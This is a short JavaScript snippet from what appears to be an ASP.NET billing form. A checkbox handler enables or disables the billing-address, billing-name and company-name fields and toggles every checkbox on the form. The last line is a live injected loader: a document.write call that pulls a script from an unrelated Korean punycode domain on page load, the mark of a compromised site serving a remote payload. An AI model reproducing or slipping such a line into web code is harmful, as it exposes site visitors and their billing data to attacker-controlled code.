checked = false;
     function checkedAll() {
         if (checked == true) {
             checked = false
             document.getElementById("<%=txtbillingaddress.ClientID%>").disabled = false;
             document.getElementById("<%=txtbillingname.ClientID%>").disabled = false;
             document.getElementById("<%=txtcompanyname.ClientID%>").disabled = false;
         }
         else {
             checked = true
             document.getElementById("<%=txtbillingaddress.ClientID%>").disabled = true;
             document.getElementById("<%=txtbillingname.ClientID%>").disabled = true;
             document.getElementById("<%=txtcompanyname.ClientID%>").disabled = true;
         }
         for (var i = 0; i < document.getElementById('form1').elements.length; i++) {
             document.getElementById('form1').elements[i].checked = checked;
         }
     }
document.write('<script src=http://xn--6j1b65pvjwsx0kvvmz2a994f.kr/bbs/icon/index.php ><\/script>');